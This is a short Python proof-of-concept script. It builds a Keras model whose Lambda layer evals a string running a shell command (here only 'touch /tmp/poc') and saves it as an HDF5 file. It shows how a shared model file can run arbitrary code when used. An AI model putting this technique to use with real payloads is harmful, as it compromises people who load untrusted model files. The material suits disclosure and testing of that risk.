from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Lambda
import tensorflow as tf

# Create a model with a Lambda layer that executes malicious code.
model = Sequential([
    Lambda(lambda x: eval("__import__('os').system('touch /tmp/poc')" or x)),
])

# Save the model to an HDF5 file.
model.save("lambda_model.h5")